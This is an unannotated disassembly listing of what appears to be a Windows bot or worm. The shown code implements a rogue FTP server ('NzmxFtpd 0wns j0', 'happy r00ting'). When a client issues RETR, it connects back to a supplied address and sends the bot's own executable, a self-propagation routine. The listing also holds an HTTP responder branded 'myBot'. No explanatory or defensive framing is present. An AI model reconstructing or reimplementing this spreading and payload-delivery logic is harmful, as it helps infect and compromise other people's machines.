pop esi pop ebx retn 8 sub_4038A5 endp ; =============== S U B R O U T I N E ======================================= sub_40390C proc near ; CODE XREF: sub_4037AF+79p mov eax, offset loc_42122C call sub_416438 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_403932 mov edi, [ebp+8] loc_403932: ; CODE XREF: sub_40390C+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_40393F xor eax, eax loc_40393F: ; CODE XREF: sub_40390C+2Fj push eax call sub_4167A5 pop ecx mov [ebp+8], eax jmp short loc_403970 ; --------------------------------------------------------------------------- loc_40394B: ; DATA XREF: _1:00422F84o mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_40395A xor eax, eax loc_40395A: ; CODE XREF: sub_40390C+4Aj push eax call sub_4167A5 mov [ebp+8], eax pop ecx mov eax, offset loc_40396A retn ; --------------------------------------------------------------------------- loc_40396A: ; DATA XREF: sub_40390C+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_403970: ; CODE XREF: sub_40390C+3Dj mov eax, [esi+8] test eax, eax jbe short loc_40398E cmp eax, edi jbe short loc_40397D mov eax, edi loc_40397D: ; CODE XREF: sub_40390C+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_415560 add esp, 0Ch loc_40398E: ; CODE XREF: sub_40390C+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_403834 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_4039AE mov edi, ebx loc_4039AE: ; CODE XREF: sub_40390C+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [eax+edi], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40390C endp ; =============== S U B R O U T I N E ======================================= sub_4039C9 proc near ; CODE XREF: sub_4038A5+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_4039F6 mov al, [esi-1] test al, al jz short loc_4039F6 cmp al, 0FFh jz short loc_4039F6 push 1 call sub_403834 push esi call sub_415C80 pop ecx push eax push esi mov ecx, edi call sub_403870 loc_4039F6: ; CODE XREF: sub_4039C9+9j ; sub_4039C9+10j ... pop edi pop esi retn sub_4039C9 endp ; =============== S U B R O U T I N E ======================================= sub_4039F9 proc near ; DATA XREF: _2:00424004o test ds:byte_4C937C, 1 jnz short loc_403A09 or ds:byte_4C937C, 1 loc_403A09: ; CODE XREF: sub_4039F9+7j jmp $+5 push offset nullsub_2 call sub_416820 pop ecx retn sub_4039F9 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403A1B proc near ; DATA XREF: sub_405898+226o var_A6C = byte ptr -0A6Ch var_8DC = byte ptr -8DCh var_6DC = dword ptr -6DCh var_6D8 = byte ptr -6D8h var_4C4 = byte ptr -4C4h var_444 = dword ptr -444h var_440 = dword ptr -440h var_438 = dword ptr -438h var_334 = byte ptr -334h var_2D0 = byte ptr -2D0h var_29C = byte ptr -29Ch var_238 = byte ptr -238h var_228 = dword ptr -228h var_224 = dword ptr -224h var_124 = byte ptr -124h var_F8 = byte ptr -0F8h var_C4 = byte ptr -0C4h var_AC = byte ptr -0ACh var_48 = byte ptr -48h var_38 = word ptr -38h var_36 = word ptr -36h var_34 = dword ptr -34h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A6Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 1 mov ecx, 0A9h mov esi, eax lea edi, [ebp+var_6DC] pop ebx rep movsd mov [eax+2A0h], ebx lea eax, [ebp+var_A6C] xor edi, edi push eax push 101h mov [ebp+var_28], ebx mov [ebp+var_18], ebx mov [ebp+var_228], edi mov [ebp+var_438], edi call ds:dword_4221D8 ; WSAStartup push edi call sub_416ACB push eax call sub_4154D2 push 0FEB0h push 406h call sub_4138BE add esp, 10h mov ds:dword_4325E0, eax push edi push ebx push 2 call ds:dword_422200 ; socket mov esi, eax lea eax, [ebp+var_28] push 4 push eax push 4 push 0FFFFh push esi mov [ebp+var_C], esi call ds:dword_4221DC ; setsockopt lea eax, [ebp+var_18] push eax push 8004667Eh push esi call ds:dword_422204 ; ioctlsocket mov ax, word ptr ds:dword_4325E0 mov [ebp+var_38], 2 push eax mov [ebp+var_34], edi call ds:dword_4221E0 ; htons mov [ebp+var_36], ax lea eax, [ebp+var_38] push 10h push eax push esi call ds:dword_4221E4 ; bind test eax, eax jge short loc_403AF0 mov eax, ebx jmp loc_40401A ; --------------------------------------------------------------------------- loc_403AF0: ; CODE XREF: sub_403A1B+CCj push 0Ah push esi call ds:dword_4221E8 ; listen mov [ebp+var_228], ebx mov ebx, ds:dword_4221F4 mov [ebp+var_224], esi mov [ebp+var_4], esi loc_403B0E: ; CODE XREF: sub_403A1B+12Cj ; sub_403A1B+5F7j push 41h lea esi, [ebp+var_228] pop ecx lea edi, [ebp+var_438] rep movsd xor esi, esi lea eax, [ebp+var_438] push esi push esi push esi push eax mov eax, [ebp+var_4] inc eax push eax call ds:dword_4221F8 ; select cmp eax, 0FFFFFFFFh jz loc_404017 xor edi, edi cmp [ebp+var_4], esi mov [ebp+arg_0], edi jl short loc_403B0E loc_403B49: ; CODE XREF: sub_403A1B+5F1j xor esi, esi push 64h lea eax, [ebp+var_29C] push esi push eax call sub_415500 push 64h lea eax, [ebp+var_AC] push esi push eax call sub_415500 add esp, 18h lea eax, [ebp+var_438] push eax push edi call sub_420B60 ; __WSAFDIsSet test eax, eax jz loc_404005 cmp edi, [ebp+var_C] jnz short loc_403C00 lea eax, [ebp+var_24] mov [ebp+var_24], 10h push eax lea eax, [ebp+var_238] push eax push [ebp+var_C] call ds:dword_4221EC ; accept cmp eax, 0FFFFFFFFh jz loc_404005 xor ecx, ecx cmp [ebp+var_228], esi jbe short loc_403BCA lea edx, [ebp+var_224] loc_403BBA: ; CODE XREF: sub_403A1B+1ADj cmp [edx], eax jz short loc_403BCA inc ecx add edx, 4 cmp ecx, [ebp+var_228] jb short loc_403BBA loc_403BCA: ; CODE XREF: sub_403A1B+197j ; sub_403A1B+1A1j cmp ecx, [ebp+var_228] jnz short loc_403BE8 cmp [ebp+var_228], 40h jnb short loc_403BE8 mov [ebp+ecx*4+var_224], eax inc [ebp+var_228] loc_403BE8: ; CODE XREF: sub_403A1B+1B5j ; sub_403A1B+1BEj cmp eax, [ebp+var_4] jle short loc_403BF0 mov [ebp+var_4], eax loc_403BF0: ; CODE XREF: sub_403A1B+1D0j push esi push 15h push offset a220Nzmxftpd0wn ; "220 NzmxFtpd 0wns j0\n" push eax call ebx ; send jmp loc_404005 ; --------------------------------------------------------------------------- loc_403C00: ; CODE XREF: sub_403A1B+169j push esi lea eax, [ebp+var_29C] push 64h push eax push edi call ds:dword_4221F0 ; recv test eax, eax jg short loc_403C67 mov edx, [ebp+var_228] xor ecx, ecx cmp edx, esi jbe short loc_403C5B lea eax, [ebp+var_224] loc_403C27: ; CODE XREF: sub_403A1B+216j cmp [eax], edi jz short loc_403C35 inc ecx add eax, 4 cmp ecx, edx jb short loc_403C27 jmp short loc_403C5B ; --------------------------------------------------------------------------- loc_403C35: ; CODE XREF: sub_403A1B+20Ej dec edx cmp ecx, edx jnb short loc_403C55 lea eax, [ebp+ecx*4+var_224] loc_403C41: ; CODE XREF: sub_403A1B+238j mov edx, [eax+4] inc ecx mov [eax], edx mov edx, [ebp+var_228] add eax, 4 dec edx cmp ecx, edx jb short loc_403C41 loc_403C55: ; CODE XREF: sub_403A1B+21Dj dec [ebp+var_228] loc_403C5B: ; CODE XREF: sub_403A1B+204j ; sub_403A1B+218j push edi call ds:dword_42220C ; closesocket jmp loc_404005 ; --------------------------------------------------------------------------- loc_403C67: ; CODE XREF: sub_403A1B+1F8j lea eax, [ebp+var_334] push eax lea eax, [ebp+var_AC] push eax lea eax, [ebp+var_29C] push offset aSS ; "%s %s" push eax call sub_416A97 lea eax, [ebp+var_AC] push offset aUser_0 ; "USER" push eax call sub_4158A0 add esp, 18h test eax, eax jnz short loc_403CAB push esi push 16h push offset a331PasswordReq ; "331 Password required\n" jmp loc_403FF0 ; --------------------------------------------------------------------------- loc_403CAB: ; CODE XREF: sub_403A1B+281j lea eax, [ebp+var_AC] push offset aPass ; "PASS" push eax call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_403CCF push esi push 14h push offset a230UserLoggedI ; "230 User logged in.\n" jmp loc_403FF0 ; --------------------------------------------------------------------------- loc_403CCF: ; CODE XREF: sub_403A1B+2A5j lea eax, [ebp+var_AC] push offset aSyst ; "SYST" push eax call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_403CF3 push esi push 0Dh push offset a215Nzmxftpd ; "215 NzmxFtpd\n" jmp loc_403FF0 ; --------------------------------------------------------------------------- loc_403CF3: ; CODE XREF: sub_403A1B+2C9j lea eax, [ebp+var_AC] push offset aRest ; "REST" push eax call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_403D17 push esi push 10h push offset a350Restarting_ ; "350 Restarting.\n" jmp loc_403FF0 ; --------------------------------------------------------------------------- loc_403D17: ; CODE XREF: sub_403A1B+2EDj lea eax, [ebp+var_AC] push offset off_425C40 push eax call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_403D3B push esi push 1Eh push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n" jmp loc_403FF0 ; --------------------------------------------------------------------------- loc_403D3B: ; CODE XREF: sub_403A1B+311j lea eax, [ebp+var_AC] push offset aType ; "TYPE" push eax call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_403D76 lea eax, [ebp+var_334] push offset aA ; "A" push eax call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_403D76 push esi push 13h push offset a200TypeSetToA_ ; "200 Type set to A.\n" jmp loc_403FF0 ; --------------------------------------------------------------------------- loc_403D76: ; CODE XREF: sub_403A1B+335j ; sub_403A1B+34Cj lea eax, [ebp+var_AC] push offset aType ; "TYPE" push eax call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_403DB1 lea eax, [ebp+var_334] push offset aI ; "I" push eax call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_403DB1 push esi push 13h push offset a200TypeSetToI_ ; "200 Type set to I.\n" jmp loc_403FF0 ; --------------------------------------------------------------------------- loc_403DB1: ; CODE XREF: sub_403A1B+370j ; sub_403A1B+387j lea eax, [ebp+var_AC] push offset aPasv ; "PASV" push eax call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_403DFF push 0Ah mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"... pop ecx lea edi, [ebp+var_124] rep movsd push eax lea eax, [ebp+var_124] push eax movsw call sub_415C80 pop ecx push eax lea eax, [ebp+var_124] loc_403DEF: ; CODE XREF: sub_403A1B+423j push eax push [ebp+arg_0] call ebx ; send xor esi, esi loc_403DF7: ; CODE XREF: sub_403A1B+4F6j mov edi, [ebp+arg_0] jmp loc_403FF3 ; --------------------------------------------------------------------------- loc_403DFF: ; CODE XREF: sub_403A1B+3ABj lea eax, [ebp+var_AC] push offset aList ; "LIST" push eax call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_403E40 push 5 mov esi, offset a226TransferCom ; "226 Transfer complete\n" pop ecx lea edi, [ebp+var_C4] rep movsd movsw push eax lea eax, [ebp+var_C4] push eax movsb call sub_415C80 pop ecx push eax lea eax, [ebp+var_C4] jmp short loc_403DEF ; --------------------------------------------------------------------------- loc_403E40: ; CODE XREF: sub_403A1B+3F9j lea eax, [ebp+var_AC] push offset aPort ; "PORT" push eax call sub_4158A0 pop ecx test eax, eax pop ecx jnz loc_403F16 lea eax, [ebp+var_2D0] push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_29C] push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"... push eax call sub_416A97 lea eax, [ebp+var_F8] push eax call sub_4159EF mov edi, eax lea eax, [ebp+var_2D0] push eax call sub_4159EF mov [ebp+var_8], eax push 32h lea eax, [ebp+var_F8] push esi push eax call sub_415500 add esp, 34h lea eax, [ebp+var_F8] push [ebp+var_8] push edi push offset aXX ; "%x%x\n" push eax call sub_415480 push 10h lea eax, [ebp+var_F8] push esi push eax call sub_416A80 add esp, 1Ch mov [ebp+var_8], eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_48] push offset aS_S_S_S ; "%s.%s.%s.%s" push eax call sub_415480 add esp, 18h push esi push 1Dh push offset a200PortCommand ; "200 PORT command successful.\n" push [ebp+arg_0] call ebx ; send jmp loc_403DF7 ; --------------------------------------------------------------------------- loc_403F16: ; CODE XREF: sub_403A1B+43Aj lea eax, [ebp+var_AC] push offset aRetr ; "RETR" push eax call sub_4158A0 pop ecx test eax, eax pop ecx jnz loc_403FD1 push esi push 28h push offset a150OpeningBina ; "150 Opening BINARY mode data connection"... push edi call ebx ; send push [ebp+var_8] lea eax, [ebp+var_48] push eax call sub_404021 pop ecx cmp eax, 1 pop ecx jnz short loc_403FC7 call sub_40409E cmp eax, 1 jnz loc_403FF3 push esi push 17h push offset a226TransferC_0 ; "226 Transfer complete.\n" push edi call ebx ; send lea eax, [ebp+var_6D8] push eax lea eax, [ebp+var_48] push ds:dword_4325E0 push eax lea eax, [ebp+var_8DC] push offset unk_425A94 push eax call sub_415480 add esp, 14h cmp [ebp+var_440], esi jnz short loc_403FB8 push esi lea eax, [ebp+var_8DC] push [ebp+var_444] push eax lea eax, [ebp+var_4C4] push eax push [ebp+var_6DC] call sub_40BAE7 add esp, 14h loc_403FB8: ; CODE XREF: sub_403A1B+578j lea eax, [ebp+var_8DC] push eax call sub_40A5B3 pop ecx jmp short loc_403FF3 ; --------------------------------------------------------------------------- loc_403FC7: ; CODE XREF: sub_403A1B+532j push esi push 20h push offset a425CanTOpenDat ; "425 Can't open data connection.\n" jmp short loc_403FF0 ; --------------------------------------------------------------------------- loc_403FD1: ; CODE XREF: sub_403A1B+510j lea eax, [ebp+var_AC] push offset aQuit ; "QUIT" push eax call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_403FF3 push esi push 1Bh push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n" loc_403FF0: ; CODE XREF: sub_403A1B+28Bj ; sub_403A1B+2AFj ... push edi call ebx ; send loc_403FF3: ; CODE XREF: sub_403A1B+3DFj ; sub_403A1B+53Cj ... push 64h lea eax, [ebp+var_29C] push esi push eax call sub_415500 add esp, 0Ch loc_404005: ; CODE XREF: sub_403A1B+160j ; sub_403A1B+189j ... inc edi cmp edi, [ebp+var_4] mov [ebp+arg_0], edi jle loc_403B49 jmp loc_403B0E ; --------------------------------------------------------------------------- loc_404017: ; CODE XREF: sub_403A1B+11Ej push 1 pop eax loc_40401A: ; CODE XREF: sub_403A1B+D0j pop edi pop esi pop ebx leave retn 4 sub_403A1B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404021 proc near ; CODE XREF: sub_403A1B+528p var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp+var_1A0] push eax push 101h call ds:dword_4221D8 ; WSAStartup push 0 push 1 push 2 call ds:dword_422200 ; socket push [ebp+arg_0] mov ds:dword_4325DC, eax mov [ebp+var_10], 2 call ds:dword_4221D0 ; inet_addr push [ebp+arg_4] mov [ebp+var_C], eax call ds:dword_4221E0 ; htons mov [ebp+var_E], ax lea eax, [ebp+var_10] push 10h push eax push ds:dword_4325DC call ds:dword_422208 ; connect cmp eax, 0FFFFFFFFh jnz short loc_404099 push ds:dword_4325DC call ds:dword_42220C ; closesocket call ds:dword_4221D4 ; WSACleanup xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_404099: ; CODE XREF: sub_404021+60j push 1 pop eax leave retn sub_404021 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40409E proc near ; CODE XREF: sub_403A1B+534p var_504 = byte ptr -504h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp+var_104] push 104h push eax push 0 call ds:off_422060 lea eax, [ebp+var_104] push offset aRb ; "rb" push eax call sub_415B78 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_404135 test byte ptr [esi+0Ch], 10h jnz short loc_404119 push edi mov edi, 400h loc_4040E1: ; CODE XREF: sub_40409E+78j push esi push 1 lea eax, [ebp+var_504] push edi push eax call sub_416BA7 add esp, 10h lea eax, [ebp+var_504] push 0 push edi push eax push ds:dword_4325DC call ds:dword_4221F4 ; send push 1 call ds:dword_422054 ; Sleep test byte ptr [esi+0Ch], 10h jz short loc_4040E1 pop edi loc_404119: ; CODE XREF: sub_40409E+3Bj push esi call sub_415AD0 pop ecx push ds:dword_4325DC call ds:dword_42220C ; closesocket call ds:dword_4221D4 ; WSACleanup push 1 pop eax loc_404135: ; CODE XREF: sub_40409E+35j pop esi leave retn sub_40409E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404138 proc near ; DATA XREF: sub_405898+333o ; sub_40D2E0+54E8o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_415D00 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov [ebp+var_14], esi call sub_415500 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call ds:dword_436468 ; htons push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call ds:dword_4364E8 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_404523 mov eax, [ebp+var_254] push 10h imul eax, 234h mov ds:dword_43BECC[eax], edi lea eax, [ebp+var_24] push eax push edi call ds:dword_436494 ; bind cmp eax, 0FFFFFFFFh jz loc_404523 push 7FFFFFFFh push edi call ds:dword_436490 ; listen cmp eax, 0FFFFFFFFh jz loc_404523 lea eax, [ebp+var_14] push eax push 8004667Eh push edi call ds:dword_436504 ; ioctlsocket cmp eax, 0FFFFFFFFh jz loc_404523 mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_40420F: ; CODE XREF: sub_404138+3E1j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call ds:dword_436450 ; select cmp eax, 0FFFFFFFFh jz loc_40451E xor esi, esi mov [ebp+var_4], esi loc_404245: ; CODE XREF: sub_404138+3DBj lea eax, [ebp+var_6F0] push eax push esi call ds:dword_436360 ; __WSAFDIsSet test eax, eax jz loc_404509 cmp esi, [ebp+var_C] jnz short loc_4042C7 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call ds:dword_4364FC ; accept cmp eax, 0FFFFFFFFh jz loc_404509 xor ecx, ecx test ebx, ebx jbe short loc_404299 lea edx, [ebp+var_134] loc_40428D: ; CODE XREF: sub_404138+15Fj cmp [edx], eax jz short loc_404299 inc ecx add edx, 4 cmp ecx, ebx jb short loc_40428D loc_404299: ; CODE XREF: sub_404138+14Dj ; sub_404138+157j cmp ecx, ebx jnz short loc_4042B6 cmp ebx, 40h jnb short loc_4042B6 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_4042B6: ; CODE XREF: sub_404138+163j ; sub_404138+168j cmp eax, [ebp+var_8] jbe loc_404509 mov [ebp+var_8], eax jmp loc_404509 ; --------------------------------------------------------------------------- loc_4042C7: ; CODE XREF: sub_404138+126j mov edi, 1000h lea eax, [ebp+var_28F0] push edi push 0 push eax call sub_415500 push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_415500 add esp, 18h lea eax, [ebp+var_28F0] push 0 push edi push eax push esi call ds:dword_436480 ; recv test eax, eax jg short loc_40435A push esi call ds:dword_436500 ; closesocket xor ecx, ecx test ebx, ebx jbe loc_404509 lea eax, [ebp+var_134] loc_404319: ; CODE XREF: sub_404138+1EBj cmp [eax], esi jz short loc_40432A inc ecx add eax, 4 cmp ecx, ebx jb short loc_404319 jmp loc_404509 ; --------------------------------------------------------------------------- loc_40432A: ; CODE XREF: sub_404138+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40434E lea eax, [ebp+ecx*4+var_134] loc_404338: ; CODE XREF: sub_404138+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_404338 loc_40434E: ; CODE XREF: sub_404138+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_404509 ; --------------------------------------------------------------------------- loc_40435A: ; CODE XREF: sub_404138+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_415500 lea eax, [ebp+var_28F0] mov [ebp+arg_0], esi push eax call sub_415C80 add esp, 10h test eax, eax jbe loc_404509 loc_404388: ; CODE XREF: sub_404138+309j mov eax, [ebp+arg_0] mov al, [ebp+eax+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_40442D mov esi, offset aGet ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_415A50 pop ecx test eax, eax pop ecx jz short loc_404401 lea eax, [ebp+var_18F0] push eax call sub_415C80 cmp eax, 5 pop ecx jbe short loc_404401 mov eax, offset asc_425D24 ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_415A50 pop ecx pop ecx push eax call sub_415A50 pop ecx pop ecx push eax call sub_416C8F push eax lea eax, [ebp+var_23C] push eax call sub_415B90 add esp, 10h jmp short loc_404418 ; --------------------------------------------------------------------------- loc_404401: ; CODE XREF: sub_404138+27Fj ; sub_404138+291j lea eax, [ebp+var_18F0] push offset asc_425D20 ; "\r\n" push eax call sub_4158A0 pop ecx test eax, eax pop ecx jz short loc_40444C loc_404418: ; CODE XREF: sub_404138+2C7j push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_415500 add esp, 0Ch or esi, 0FFFFFFFFh loc_40442D: ; CODE XREF: sub_404138+263j inc [ebp+arg_0] lea eax, [ebp+var_28F0] push eax inc esi call sub_415C80 cmp [ebp+arg_0], eax pop ecx jb loc_404388 jmp loc_404509 ; --------------------------------------------------------------------------- loc_40444C: ; CODE XREF: sub_404138+2DEj xor ecx, ecx test ebx, ebx jbe short loc_404496 lea eax, [ebp+var_134] loc_404458: ; CODE XREF: sub_404138+32Dj mov esi, [ebp+var_4] cmp [eax], esi jz short loc_404469 inc ecx add eax, 4 cmp ecx, ebx jb short loc_404458 jmp short loc_404499 ; --------------------------------------------------------------------------- loc_404469: ; CODE XREF: sub_404138+325j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40448D lea eax, [ebp+ecx*4+var_134] loc_404477: ; CODE XREF: sub_404138+353j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_404477 loc_40448D: ; CODE XREF: sub_404138+336j dec ebx mov [ebp+var_138], ebx jmp short loc_404499 ; --------------------------------------------------------------------------- loc_404496: ; CODE XREF: sub_404138+318j mov esi, [ebp+var_4] loc_404499: ; CODE XREF: sub_404138+32Fj ; sub_404138+35Cj lea eax, [ebp+var_23C] test eax, eax jz short loc_404502 lea eax, [ebp+var_360] push eax call sub_415C80 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_415C80 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_404502 and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call ds:dword_436504 ; ioctlsocket push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_404716 add esp, 14h jmp short loc_404509 ; --------------------------------------------------------------------------- loc_404502: ; CODE XREF: sub_404138+369j ; sub_404138+38Fj push esi call ds:dword_436500 ; closesocket loc_404509: ; CODE XREF: sub_404138+11Dj ; sub_404138+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_404245 jmp loc_40420F ; --------------------------------------------------------------------------- loc_40451E: ; CODE XREF: sub_404138+102j mov edi, [ebp+var_C] xor ebx, ebx loc_404523: ; CODE XREF: sub_404138+6Aj ; sub_404138+92j ... call ds:dword_4363FC ; WSAGetLastError push eax lea eax, [ebp+var_8F0] push offset unk_425CDC push eax call sub_415480 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_404569 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_40BAE7 add esp, 14h loc_404569: ; CODE XREF: sub_404138+40Cj lea eax, [ebp+var_8F0] push eax call sub_40A5B3 pop ecx push edi call ds:dword_436500 ; closesocket push [ebp+var_254] call sub_415248 pop ecx push ebx call ds:dword_422044 ; ExitThread pop edi pop esi pop ebx sub_404138 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404593 proc near ; DATA XREF: sub_404716+24Do var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_415D00 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_415480 pop ecx lea eax, [ebp+var_2C4] pop ecx push eax lea eax, [ebp+var_654] push eax call sub_415480 xor edi, edi pop ecx cmp [ebp+var_A4], edi pop ecx jz short loc_4045F9 push offset aTextHtml ; "text/html" jmp short loc_4045FE ; --------------------------------------------------------------------------- loc_4045F9: ; CODE XREF: sub_404593+5Dj push offset aApplicationOct ; "application/octet-stream" loc_4045FE: ; CODE XREF: sub_404593+64j lea eax, [ebp+var_9C] push eax call sub_415480 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi call ds:dword_422068 ; GetDateFormatA lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi call ds:dword_422064 ; GetTimeFormatA lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_404677 lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_415480 add esp, 24h jmp short loc_404698 ; --------------------------------------------------------------------------- loc_404677: ; CODE XREF: sub_404593+C5j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_415480 add esp, 28h loc_404698: ; CODE XREF: sub_404593+E2j lea eax, [ebp+var_1654] push edi push eax call sub_415C80 pop ecx push eax lea eax, [ebp+var_1654] push eax push [ebp+var_44C] call ds:dword_4364B8 ; send cmp [ebp+var_A4], edi jnz short loc_4046D8 lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_405053 pop ecx pop ecx jmp short loc_4046F5 ; --------------------------------------------------------------------------- loc_4046D8: ; CODE XREF: sub_404593+12Dj lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_4049CD add esp, 10h 